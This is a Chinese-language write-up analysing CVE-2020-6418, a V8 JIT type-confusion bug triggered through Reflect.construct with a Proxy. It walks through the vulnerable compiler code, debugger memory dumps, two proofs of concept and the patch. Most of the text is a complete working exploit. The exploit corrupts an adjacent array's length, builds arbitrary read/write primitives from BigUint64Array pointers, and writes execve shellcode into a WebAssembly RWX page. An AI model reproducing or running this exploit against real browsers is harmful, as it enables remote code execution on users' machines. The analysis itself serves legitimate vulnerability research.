CVE-2020-6418漏洞分析
前言
环境搭建
git reset --hard bdaa7d66a37adcc1f1d81c9b0f834327a74ffe07
gclient sync
tools/dev/gm.py x64.release
tools/dev/gm.py x64.debug
Reflect.construct()方法
Reflect.construct() 方法的行为有点像 new 操作符 构造函数 , 相当于运行 new target(…args).
语法
Reflect.construct(target, argumentsList[, newTarget])
参数
target
被运行的目标构造函数
argumentsList
类数组,目标构造函数调用时的参数。
newTarget 可选
作为新创建对象的原型对象的constructor属性, 参考 new.target 操作符,默认值为target。
返回值
以target(如果newTarget存在,则为newTarget)函数为构造函数,argumentList为其初始化参数的对象实例。
异常
如果target或者newTarget不是构造函数,抛出TypeError,异常。
v8 指针压缩
为了节省内存空间,v8将64位的指针压缩成了32位,具体做法是将高32位存放在r13寄存器,用4个字节存储低32位,在访问某个指针时,就将低32位指针加上r13保存的高32位。
同时,为了进一步节省内存空间,之前SMI 存储为value « 32,低32位都为0,现在用SMI的值用4个字节存储,并且为了不和指针混淆,最后一位不用(指针最后一位为1),所以将value « 1,相当于将原来的值乘以了2。
demo 代码如下:
var a = [0, 1, 2, 3, 4];
%DebugPrint(a);
%SystemBreak();
漏洞分析
漏洞调用链:
JSCallReducer::ReduceJSCall
->switch(builtin_id)
->Builtins::kArrayPrototypePop
->JSCallReducer::ReduceArrayPrototypePop // 直接将最后一个元素弹出
->MapInference // 用于确定对象的类型
->NodeProperties::InferReceiverMapsUnsafe
-> switch (effect->opcode())
->case IrOpcode::kJSCreate
->return kReliableReceiverMaps;
// 表示类型不会改变 导致 maps_state_ = kReliableOrGuarded
//->return kUnreliableReceiverMaps; // 漏洞补丁:表示kJSCreate有side-effect
->MapInference::RelyOnMapsPreferStability
//根据类型是否可靠,确定后面是否进行类型检查
调用MapInference::RelyOnMapsPreferStability根据maps_state_决定是否需要加入CheckMaps节点做对象类型检查:
maps_state_ = kReliableOrGuarded。导致调用MapInference:: RelyOnMapsPreferStability函数认为effect chain是安全的,从而没有加入CheckMaps节点,最终忽略了对象的类型检查。
相关漏洞代码:
ReduceArrayPrototypePop函数:
Reduction JSCallReducer::ReduceArrayPrototypePop(Node* node) {
...
Node* receiver = NodeProperties::GetValueInput(node, 1);
Node* effect = NodeProperties::GetEffectInput(node);
Node* control = NodeProperties::GetControlInput(node);
MapInference inference(broker(), receiver, effect); <---------
if (!inference.HaveMaps()) return NoChange(); //如果没有获得该对象的类型,则不进行优化
MapHandles const& receiver_maps = inference.GetMaps();
std::vector<ElementsKind> kinds;
if (!CanInlineArrayResizingBuiltin(broker(), receiver_maps, &kinds)) {
return inference.NoChange();
}
if (!dependencies()->DependOnNoElementsProtector()) UNREACHABLE(); <---------
inference.RelyOnMapsPreferStability(dependencies(), jsgraph(), &effect, control, p.feedback());
std::vector<Node*> controls_to_merge;
std::vector<Node*> effects_to_merge;
std::vector<Node*> values_to_merge;
Node* value = jsgraph()->UndefinedConstant();
Node* receiver_elements_kind = LoadReceiverElementsKind(receiver, &effect, &control);
Node* next_control = control;
Node* next_effect = effect;
for (size_t i = 0; i < kinds.size(); i++) {
// inline pop for every inferred receiver map element kind and dispatch as appropriate
...
}
NodeProperties::InferReceiverMapsUnsafe函数:
NodeProperties::InferReceiverMapsResult NodeProperties::InferReceiverMapsUnsafe(
JSHeapBroker* broker, Node* receiver, Node* effect,
ZoneHandleSet<Map>* maps_return) {
...
InferReceiverMapsResult result = kReliableReceiverMaps; // <------如果对象类型不会改变则返回kReliableReceiverMaps
while (true) {
switch (effect->opcode()) {
...
case IrOpcode::kCheckMaps: {
Node* const object = GetValueInput(effect, 0);
if (IsSame(receiver, object)) {
*maps_return = CheckMapsParametersOf(effect->op()).maps();
return result;
}
break;
}
case IrOpcode::kJSCreate: {
if (IsSame(receiver, effect)) {
base::Optional<MapRef> initial_map = GetJSCreateMap(broker, receiver);
if (initial_map.has_value()) {
*maps_return = ZoneHandleSet<Map>(initial_map->object());
return result;
}
// We reached the allocation of the {receiver}.
return kNoReceiverMaps;
}
//+ result = kUnreliableReceiverMaps; // JSCreate can have side-effect. <------
break;
}
...
}
// Stop walking the effect chain once we hit the definition of
// the {receiver} along the {effect}s.
if (IsSame(receiver, effect)) return kNoReceiverMaps;
// Continue with the next {effect}.
effect = NodeProperties::GetEffectInput(effect);
}
}
Poc1 代码分析
ITERATIONS = 10000;
TRIGGER = false;
function f(a, p) {
return a.pop(Reflect.construct(function() {}, arguments, p));
}
let a;
let p = new Proxy(Object, {
get: function() {
if (TRIGGER) {
a[2] = 1.1;
}
return Object.prototype;
}
});
for (let i = 0; i < ITERATIONS; i++) {
let isLastIteration = i == ITERATIONS - 1;
a = [0, 1, 2, 3, 4];
if (isLastIteration)
TRIGGER = true;
print(f(a, p));
}
漏洞成因在于对象a的类型因为赋值浮点数,导致类型从<Map(PACKED_SMI_ELEMENTS)> 变为 <Map(PACKED_DOUBLE_ELEMENTS)>,但在pop输出时,仍按照SMI类型输出,而因为指针压缩的缘故,SMI数组和DOUBLE数组所占的内存大小是不同的,所以输出的数据是错误的。
如下面的demo代码:
var a = [0, 1, 2, 3, 4];
%DebugPrint(a);
%SystemBreak();
a[2] = 156842099844.51764;//0x4242424242424242
%DebugPrint(a);
%SystemBreak();
修改a[2]前:
pwndbg> x/10wx 0x03010820ffe9-1
0x3010820ffe8: 0x080404d9 0x0000000a 0x00000000 0x00000002
0x3010820fff8: 0x00000004 0x00000006 0x00000008 0x080411c9
0x30108210008: 0x00000000 0x0820ffe9
修改a[2]后:
pwndbg> x/10wx 0x030108085e25-1
0x30108085e24: 0x08040a3d 0x0000000a 0x00000000 0x00000000
0x30108085e34: 0x00000000 0x3ff00000 0x42424242 0x42424242
0x30108085e44: 0x00000000 0x40080000
所以如果触发漏洞,对于变成DOUBLE数组a仍当作SMI类型输出,输出a[4],就会输出0x42424242。
Poc2 代码分析
let a = [0.1, ,,,,,,,,,,,,,,,,,,,,,, 6.1, 7.1, 8.1];
var b;
a.pop();
a.pop();
a.pop();
function empty() {}
function f(nt) {
a.push(typeof(Reflect.construct(empty, arguments, nt)) === Proxy ? 0.2 : 156842065920.05);
//(156842065920.05的内存表示为0x4242424200000666)
}
let p = new Proxy(Object, {
get: function() {
a[0] = {};
b = [0.2, 1.2, 2.2, 3.2, 4.3];
return Object.prototype;
}
});
function main(o) {
return f(o);
}
%PrepareFunctionForOptimization(empty);
%PrepareFunctionForOptimization(f);
%PrepareFunctionForOptimization(main);
main(empty);
main(empty);
%OptimizeFunctionOnNextCall(main);
main(p);
console.log(b.length); // prints 0x333
(1)首先申请一个类型为<Map(HOLEY_DOUBLE_ELEMENTS)>的数组a[25],连续pop三次,将最后三个元素依次pop。
新建对象a:
DebugPrint: 0x386708086215: [JSArray]
- map: 0x3867082418b9 <Map(HOLEY_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x386708208f7d <JSArray[0]>
- elements: 0x38670808613d <FixedDoubleArray[26]> [HOLEY_DOUBLE_ELEMENTS]
- length: 26
- properties: 0x3867080406e9 <FixedArray[0]> {
#length: 0x386708180165 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x38670808613d <FixedDoubleArray[26]> {
0: 0.1
1-22: <the_hole>
23: 6.1
24: 7.1
25: 8.1
}
pwndbg> x/20gx 0x38670808613d-1
0x38670808613c: 0x0000003408040a3d 0x3fb999999999999a
0x38670808614c: 0xfff7fffffff7ffff 0xfff7fffffff7ffff
0x38670808615c: 0xfff7fffffff7ffff 0xfff7fffffff7ffff
0x38670808616c: 0xfff7fffffff7ffff 0xfff7fffffff7ffff
0x38670808617c: 0xfff7fffffff7ffff 0xfff7fffffff7ffff
0x38670808618c: 0xfff7fffffff7ffff 0xfff7fffffff7ffff
0x38670808619c: 0xfff7fffffff7ffff 0xfff7fffffff7ffff
0x3867080861ac: 0xfff7fffffff7ffff 0xfff7fffffff7ffff
0x3867080861bc: 0xfff7fffffff7ffff 0xfff7fffffff7ffff
0x3867080861cc: 0xfff7fffffff7ffff 0xfff7fffffff7ffff
pwndbg>
0x3867080861dc: 0xfff7fffffff7ffff 0xfff7fffffff7ffff
0x3867080861ec: 0xfff7fffffff7ffff 0xfff7fffffff7ffff
0x3867080861fc: 0x4018666666666666 0x401c666666666666 // a[23] | a[24]
0x38670808620c: 0x4020333333333333 0x080406e9082418b9 // a[25]
将最后三个元素pop出:
DebugPrint: 0x386708086215: [JSArray]
- map: 0x3867082418b9 <Map(HOLEY_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x386708208f7d <JSArray[0]>
- elements: 0x38670808613d <FixedDoubleArray[26]> [HOLEY_DOUBLE_ELEMENTS]
- length: 23
- properties: 0x3867080406e9 <FixedArray[0]> {
#length: 0x386708180165 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x38670808613d <FixedDoubleArray[26]> {
0: 0.1
1-25: <the_hole>
}
pwndbg> x/20gx 0x38670808613d-1
0x38670808613c: 0x0000003408040a3d 0x3fb999999999999a
0x38670808614c: 0xfff7fffffff7ffff 0xfff7fffffff7ffff
0x38670808615c: 0xfff7fffffff7ffff 0xfff7fffffff7ffff
0x38670808616c: 0xfff7fffffff7ffff 0xfff7fffffff7ffff
0x38670808617c: 0xfff7fffffff7ffff 0xfff7fffffff7ffff
0x38670808618c: 0xfff7fffffff7ffff 0xfff7fffffff7ffff
0x38670808619c: 0xfff7fffffff7ffff 0xfff7fffffff7ffff
0x3867080861ac: 0xfff7fffffff7ffff 0xfff7fffffff7ffff
0x3867080861bc: 0xfff7fffffff7ffff 0xfff7fffffff7ffff
0x3867080861cc: 0xfff7fffffff7ffff 0xfff7fffffff7ffff
pwndbg>
0x3867080861dc: 0xfff7fffffff7ffff 0xfff7fffffff7ffff
0x3867080861ec: 0xfff7fffffff7ffff 0xfff7fffffff7ffff
0x3867080861fc: 0xfff7fffffff7ffff 0xfff7fffffff7ffff // a[23] | a[24]
0x38670808620c: 0xfff7fffffff7ffff 0x080406e9082418b9 // a[25]
(2)利用a[0] = {};的赋值,使得a对象的类型由<Map(HOLEY_DOUBLE_ELEMENTS)>变为<Map(HOLEY_ELEMENTS)> ,因为double数组的elements单位长度为8个字节,而object数组单位长度为4个字节,所以内存实际上是缩小将近一半的。
执行了两次main(empty);,赋值a[0]={}; 前:
DebugPrint: 0x386708086215: [JSArray]
- map: 0x3867082418b9 <Map(HOLEY_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x386708208f7d <JSArray[0]>
- elements: 0x38670808613d <FixedDoubleArray[26]> [HOLEY_DOUBLE_ELEMENTS]
- length: 25
- properties: 0x3867080406e9 <FixedArray[0]> {
#length: 0x386708180165 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x38670808613d <FixedDoubleArray[26]> {
0: 0.1
1-22: <the_hole>
23-24: 1.56842e+11
25: <the_hole>
}
pwndbg> x/20gx 0x38670808613d-1
0x38670808613c: 0x0000003408040a3d 0x3fb999999999999a
0x38670808614c: 0xfff7fffffff7ffff 0xfff7fffffff7ffff
0x38670808615c: 0xfff7fffffff7ffff 0xfff7fffffff7ffff
0x38670808616c: 0xfff7fffffff7ffff 0xfff7fffffff7ffff
0x38670808617c: 0xfff7fffffff7ffff 0xfff7fffffff7ffff
0x38670808618c: 0xfff7fffffff7ffff 0xfff7fffffff7ffff
0x38670808619c: 0xfff7fffffff7ffff 0xfff7fffffff7ffff
0x3867080861ac: 0xfff7fffffff7ffff 0xfff7fffffff7ffff
0x3867080861bc: 0xfff7fffffff7ffff 0xfff7fffffff7ffff
0x3867080861cc: 0xfff7fffffff7ffff 0xfff7fffffff7ffff
pwndbg>
0x3867080861dc: 0xfff7fffffff7ffff 0xfff7fffffff7ffff
0x3867080861ec: 0xfff7fffffff7ffff 0xfff7fffffff7ffff
0x3867080861fc: 0x4242424200000666 0x4242424200000666 // a[23] | a[24]
0x38670808620c: 0xfff7fffffff7ffff 0x080406e9082418b9 // a[25]
赋值a[0]={}; 后:
DebugPrint: 0x386708086215: [JSArray]
- map: 0x386708241909 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x386708208f7d <JSArray[0]>
- elements: 0x386708086489 <FixedArray[26]> [HOLEY_ELEMENTS]
- length: 25
- properties: 0x3867080406e9 <FixedArray[0]> {
#length: 0x386708180165 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x386708086489 <FixedArray[26]> {
0: 0x38670808646d <Object map = 0x3867082402d9>
1-22: 0x386708040385 <the_hole>
23: 0x386708086505 <HeapNumber 1.56842e+11>
24: 0x3867080864f9 <HeapNumber 1.56842e+11>
25: 0x386708040385 <the_hole>
}
pwndbg> x/20gx 0x386708086489-1
0x386708086488: 0x00000034080404b1 0x080403850808646d
0x386708086498: 0x0804038508040385 0x0804038508040385
0x3867080864a8: 0x0804038508040385 0x0804038508040385
0x3867080864b8: 0x0804038508040385 0x0804038508040385
0x3867080864c8: 0x0804038508040385 0x0804038508040385
0x3867080864d8: 0x0804038508040385 0x0804038508040385
0x3867080864e8: 0x0808650508040385 0x08040385080864f9
0x3867080864f8: 0x000006660804035d 0x0804035d42424242
0x386708086508: 0x4242424200000666 0x9999999a0804035d
0x386708086518: 0x000000003fb99999 0x0000000000000000
pwndbg>
0x386708086528: 0x0000000000000000 0x0000000000000000
0x386708086538: 0x0000000000000000 0x0000000000000000
0x386708086548: 0x0000000000000000 0x0000000000000000 // a[23] | a[24]
0x386708086558: 0x0000000000000000 0x0000000000000000 // a[25]
pwndbg> x/21wx 0x386708086489-1
0x386708086488: 0x080404b1 0x00000034 0x0808646d 0x08040385
0x386708086498: 0x08040385 0x08040385 0x08040385 0x08040385
0x3867080864a8: 0x08040385 0x08040385 0x08040385 0x08040385
0x3867080864b8: 0x08040385 0x08040385 0x08040385 0x08040385
0x3867080864c8: 0x08040385 0x08040385 0x08040385 0x08040385
0x3867080864d8: 0x08040385
pwndbg>
0x3867080864dc: 0x08040385 0x08040385 0x08040385 0x08040385
0x3867080864ec: 0x08086505 0x080864f9 0x08040385 0x0804035d
//按object类型寻址: a[23] a[24] a[25]
(3)这时候再申请b数组,由于内存分配的连续性,此时b对象紧挨着a对象,并且b对象在对象a类型还为double型时的内存区域内。
申请对象b:
DebugPrint: 0x386708086215: [JSArray] //<---- 对象a
- map: 0x386708241909 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x386708208f7d <JSArray[0]>
- elements: 0x386708086489 <FixedArray[26]> [HOLEY_ELEMENTS]
- length: 25
- properties: 0x3867080406e9 <FixedArray[0]> {
#length: 0x386708180165 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x386708086489 <FixedArray[26]> {
0: 0x38670808646d <Object map = 0x3867082402d9>
1-22: 0x386708040385 <the_hole>
23: 0x386708086505 <HeapNumber 1.56842e+11>
24: 0x3867080864f9 <HeapNumber 1.56842e+11>
25: 0x386708040385 <the_hole>
}
DebugPrint: 0x38670808654d: [JSArray] //<--------对象b
- map: 0x386708241891 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x386708208f7d <JSArray[0]>
- elements: 0x38670808651d <FixedDoubleArray[5]> [PACKED_DOUBLE_ELEMENTS]
- length: 5
- properties: 0x3867080406e9 <FixedArray[0]> {
#length: 0x386708180165 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x38670808651d <FixedDoubleArray[5]> {
0: 0.2
1: 1.2
2: 2.2
3: 3.2
4: 4.3
}
如图中,绿框为类型为double时对象a.elements范围,阴影部分为申请的对象b,所以从图中可以看出a[25]和b.length是重叠的。
(4)触发漏洞,进行优化,a.push的操作仍将对象a当成double类型,所以8个字节的单位长度访问,此时就能越界读写对象b的内容,将b的length修改。
DebugPrint: 0x38670808654d: [JSArray] // <------ 对象b
- map: 0x386708241891 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x386708208f7d <JSArray[0]>
- elements: 0x38670808651d <FixedDoubleArray[5]> [PACKED_DOUBLE_ELEMENTS]
- length: 819
- properties: 0x3867080406e9 <FixedArray[0]> {
#length: 0x386708180165 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x38670808651d <FixedDoubleArray[5]> {
0: 0.2
1: 1.2
2: 2.2
3: 3.2
4: 4.3
}
pwndbg> x/20gx 0x386708086489 -1
0x386708086488: 0x00000034080404b1 0x080403850808646d
0x386708086498: 0x0804038508040385 0x0804038508040385
0x3867080864a8: 0x0804038508040385 0x0804038508040385
0x3867080864b8: 0x0804038508040385 0x0804038508040385
0x3867080864c8: 0x0804038508040385 0x0804038508040385
0x3867080864d8: 0x0804038508040385 0x0804038508040385
0x3867080864e8: 0x0808650508040385 0x08040385080864f9
0x3867080864f8: 0x000006660804035d 0x0804035d42424242
0x386708086508: 0x4242424200000666 0x9999999a0804035d
0x386708086518: 0x08040a3d3fb99999 0x9999999a0000000a
pwndbg>
0x386708086528: 0x333333333fc99999 0x9999999a3ff33333
0x386708086538: 0x9999999a40019999 0x3333333340099999
0x386708086548: 0x0824189140113333 0x0808651d080406e9
0x386708086558: 0x4242424200000666 0x080406e9080406e9
// b.length
Poc连续pop三次,之后又通过main(empty); push 了两次,最后一次push触发漏洞,正是push进a[25],用于修改b.length,将b.length修改成了0x666,由于指针压缩,实际大小为0x666 » 2 = 0x333=819。
漏洞利用
通过Poc2代码可以修改一个浮点型数组的length,按照之前的思路,遍历查找wasm_function和data_buf的backing_store,这里构造任意读写原语用到了BigUint64Array的特性,而不是data_buf的backing_store.
如下面的demo:
let aa = new BigUint64Array(4);
aa[0] = 0x1122334455667788n;
aa[1] = 0xaabbaabbccddccddn;
aa[2] = 0xdeadbeefdeadbeefn;
aa[3] = 0xeeeeeeeeffffffffn;
%DebugPrint(aa);
%SystemBreak();
BigUint64Array 利用data_ptr 指针来读写数组数据,而data_ptr = base_pointer+external_pointer
而external_pointer&0xffffffff00000000 为寄存器r13保存的高32位地址,base_pointer 为低32位的地址。所以通过修改base_pointer,external_pointer和length就可以实现任意地址读写。同时我们可以通过遍历查找数组的内容来获取base_pointer,external_pointer的值。如下:
(1)查找base_pointer,external_pointer以及length的值
for(let i=0; i < 0x100; i++)
{
if(f2i(b[i]) == 0xdeadbeefdeadbeefn){
bigarray_len_idx = i + 6;
console.log("[+] find bigarray length : 0x" + hex(f2i(b[bigarray_len_idx])));
external_pointer_idx = i + 7;
console.log("[+] find external_pointer : 0x" + hex(f2i(b[external_pointer_idx])));
base_pointer_idx = i + 8;
console.log("[+] find base_pointer : 0x" + hex(f2i(b[base_pointer_idx])));
break;
}
}
(2)查找wasm_function 的值
for(let i=0; i < 0x100; i++)
{
let tmp = f2half(b[i]); // 浮点数转化成整数,返回值为数组对象,tmp[0]为低32位,tmp为高32位
if(tmp[0] == (0xdead << 1)){
// 因为b数组为double型,单位长度为8个字节,标记可能在低4个字节
wasm_idx = i + 1;
addr = f2half(b[wasm_idx]);
wasm_function_addr = addr[1];
console.log("[+] wasm_function addr : 0x" + hex(wasm_function_addr));
break;
}
else if(tmp[1] == (0xdead << 1)){ // 标记可能在高4个字节
wasm_idx = i + 1;
addr = f2half(b[wasm_idx]);
wasm_function_addr = addr[0];
console.log("[+] wasm_function addr : 0x" + hex(wasm_function_addr));
// 得到的是wasm_function的低32位地址
break;
}
}
(3)构造任意读写原语
function arb_read(addr)
{
b[base_pointer_idx] = i2f(addr-0x8n);
// 覆盖base_pointer_idx, 因为external_pointer最后是0x7, 所以后面相加要先减去0x8(包括地址作为指针的末尾0x1)
let ret = big_array[0];
return ret;
}
function arb_write(addr, payload)
{
sc = ByteToBigIntArray(payload);
b[bigarray_len_idx] = i2f(0x100n);
b[base_pointer_idx] = i2f(0n);
b[external_pointer_idx] = i2f(addr);
for(let i = 0; i<sc.length; i++) {
big_array[i] = sc[i];
}
}
(4)查找wasm_function的rwx 区域,利用任意写将shellcode 写入rwx区域,完成利用。
var wasm_shared_info = arb_read(BigInt(wasm_function_addr)+0xcn) & (0xffffffffn);
// BigUint64Array 数组读出的数据不能直接进行整数计算,需要用BigInt转化一下
console.log("[+] wasm_shared_info : 0x" + hex(wasm_shared_info));
var wasm_data = arb_read(BigInt(wasm_shared_info)+0x4n) &(0xffffffffn);
console.log("[+] wasm_data : 0x" + hex(wasm_data));
var wasm_instance = arb_read(BigInt(wasm_data)+0x8n) &(0xffffffffn);
console.log("[+] wasm_instance : 0x" + hex(wasm_instance));
var wasm_rwx = arb_read(BigInt(wasm_instance)+0x68n);
console.log("[+] wasm_rwx : 0x" + hex(wasm_rwx));
var shellcode = [72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72, 184, 46, 121, 98,
96, 109, 98, 1, 1, 72, 49, 4, 36, 72, 184, 47, 117, 115, 114, 47, 98,
105, 110, 80, 72, 137, 231, 104, 59, 49, 1, 1, 129, 52, 36, 1, 1, 1, 1,
72, 184, 68, 73, 83, 80, 76, 65, 89, 61, 80, 49, 210, 82, 106, 8, 90,
72, 1, 226, 82, 72, 137, 226, 72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72,
184, 121, 98, 96, 109, 98, 1, 1, 1, 72, 49, 4, 36, 49, 246, 86, 106, 8,
94, 72, 1, 230, 86, 72, 137, 230, 106, 59, 88, 15, 5];
arb_write(wasm_rwx, shellcode);
wasm_function();
exp 代码:
var buf = new ArrayBuffer(16);
var float64 = new Float64Array(buf);
var bigUint64 = new BigUint64Array(buf);
var Uint32 = new Uint32Array(buf);
function f2i(f)
{
float64[0] = f;
return bigUint64[0];
}
function i2f(i)
{
bigUint64[0] = i;
return float64[0];
}
function f2half(val)
{
float64[0] = val;
let tmp = Array.from(Uint32);
return tmp;
}
function half2f(val)
{
Uint32.set(val);
return float64[0];
}
function hex(i)
{
return i.toString(16).padStart(16, "0");
}
function ByteToBigIntArray(payload)
{
let sc = []
let tmp = 0n;
let lenInt = BigInt(Math.floor(payload.length/8))
for (let i = 0n; i < lenInt; i += 1n) {
tmp = 0n;
for(let j=0n; j<8n; j++){
tmp += BigInt(payload[i*8n+j])*(0x1n<<(8n*j));
}
sc.push(tmp);
}
let len = payload.length%8;
tmp = 0n;
for(let i=0n; i<len; i++){
tmp += BigInt(payload[lenInt*8n+i])*(0x1n<<(8n*i));
}
sc.push(tmp);
return sc;
}
function gc() {
for (let i = 0; i < 100; i++) {
new ArrayBuffer(0x100000);
}
}
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var wasm_function = wasmInstance.exports.main;
var data_buf;
var obj;
var big_array;
let a = [0.1,,,,,,,,,,,,,,,,,,,,,,, 6.1, 7.1, 8.1];
var b;
a.pop();
a.pop();
a.pop();
function empty() {}
function f(nt) {
a.push(typeof(Reflect.construct(empty, arguments, nt)) === Proxy ? 0.2 : 8.063e-320);
for(let i=0; i<0x10000; i++){}
}
let p = new Proxy(Object, {
get: function() {
a[0] = {};
b = [0.2, 1.2, 2.2, 3.2, 4.3];
obj = {mark: 0xdead, obj: wasm_function};
big_array = new BigUint64Array(4);
big_array[0] = 0x1122334455667788n;
big_array[1] = 0xaabbaabbccddccddn;
big_array[2] = 0xdeadbeefdeadbeefn;
big_array[3] = 0xeeeeeeeeffffffffn;
return Object.prototype;
}
});
function main(o) {
for(let i = 0; i < 0x10000; i++){};
return f(o);
}
/*
%PrepareFunctionForOptimization(empty);
%PrepareFunctionForOptimization(f);
%PrepareFunctionForOptimization(main);
*/
for(let i = 0; i < 0x10000; i++)
{
empty();
}
main(empty);
main(empty);
//%OptimizeFunctionOnNextCall(main);
main(p);
console.log("[+] b.length : 0x" + hex(b.length)); // prints 0x1fe0
var external_pointer_idx = 0;
var base_pointer_idx = 0;
var bigarray_len_idx = 0;
var wasm_function_addr;
for(let i=0; i < 0x100; i++)
{
if(f2i(b[i]) == 0xdeadbeefdeadbeefn){
bigarray_len_idx = i + 6;
console.log("[+] find bigarray length : 0x" + hex(f2i(b[bigarray_len_idx])));
external_pointer_idx = i + 7;
console.log("[+] find external_pointer : 0x" + hex(f2i(b[external_pointer_idx])));
base_pointer_idx = i + 8;
console.log("[+] find base_pointer : 0x" + hex(f2i(b[base_pointer_idx])));
break;
}
}
var highaddr = f2i(b[external_pointer_idx]) & 0xffffffff00000000n;
console.log("[+] highaddr : 0x" + hex(highaddr));
var wasm_idx = 0;
for(let i=0; i < 0x100; i++)
{
let tmp = f2half(b[i]);
if(tmp[0] == (0xdead << 1)){
wasm_idx = i + 1;
addr = f2half(b[wasm_idx]);
wasm_function_addr = addr[1];
console.log("[+] wasm_function addr : 0x" + hex(wasm_function_addr));
break;
}
else if(tmp[1] == (0xdead << 1)){
wasm_idx = i + 1;
addr = f2half(b[wasm_idx]);
wasm_function_addr = addr[0];
console.log("[+] wasm_function addr : 0x" + hex(wasm_function_addr));
break;
}
}
function arb_read(addr)
{
b[base_pointer_idx] = i2f(addr-0x8n);
let ret = big_array[0];
return ret;
}
function arb_write(addr, payload)
{
sc = ByteToBigIntArray(payload);
b[bigarray_len_idx] = i2f(0x100n);
b[base_pointer_idx] = i2f(0n);
b[external_pointer_idx] = i2f(addr);
for(let i = 0; i<sc.length; i++) {
big_array[i] = sc[i];
}
}
var wasm_shared_info = arb_read(BigInt(wasm_function_addr)+0xcn) & (0xffffffffn);
console.log("[+] wasm_shared_info : 0x" + hex(wasm_shared_info));
var wasm_data = arb_read(BigInt(wasm_shared_info)+0x4n) &(0xffffffffn);
console.log("[+] wasm_data : 0x" + hex(wasm_data));
var wasm_instance = arb_read(BigInt(wasm_data)+0x8n) &(0xffffffffn);
console.log("[+] wasm_instance : 0x" + hex(wasm_instance));
var wasm_rwx = arb_read(BigInt(wasm_instance)+0x68n);
console.log("[+] wasm_rwx : 0x" + hex(wasm_rwx));
var shellcode = [72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72, 184, 46, 121, 98,
96, 109, 98, 1, 1, 72, 49, 4, 36, 72, 184, 47, 117, 115, 114, 47, 98,
105, 110, 80, 72, 137, 231, 104, 59, 49, 1, 1, 129, 52, 36, 1, 1, 1, 1,
72, 184, 68, 73, 83, 80, 76, 65, 89, 61, 80, 49, 210, 82, 106, 8, 90,
72, 1, 226, 82, 72, 137, 226, 72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72,
184, 121, 98, 96, 109, 98, 1, 1, 1, 72, 49, 4, 36, 49, 246, 86, 106, 8,
94, 72, 1, 230, 86, 72, 137, 230, 106, 59, 88, 15, 5];
arb_write(wasm_rwx, shellcode);
wasm_function();
运行效果图:
补丁
diff --git a/src/compiler/node-properties.cc b/src/compiler/node-properties.cc
index f43a348..ab4ced6 100644
--- a/src/compiler/node-properties.cc
+++ b/src/compiler/node-properties.cc
@@ -386,6 +386,7 @@
// We reached the allocation of the {receiver}.
return kNoReceiverMaps;
}
+ result = kUnreliableReceiverMaps; // JSCreate can have side-effect.
break;
}
case IrOpcode::kJSCreatePromise: {
表示kJSCreate有side-effect, 后面的检查需要加入CheckMaps。
参考链接
https://bugs.chromium.org/p/chromium/issues/detail?id=1053604
https://xz.aliyun.com/t/7314
https://www.anquanke.com/post/id/201951
https://blog.exodusintel.com/2020/02/24/a-eulogy-for-patch-gapping-chrome/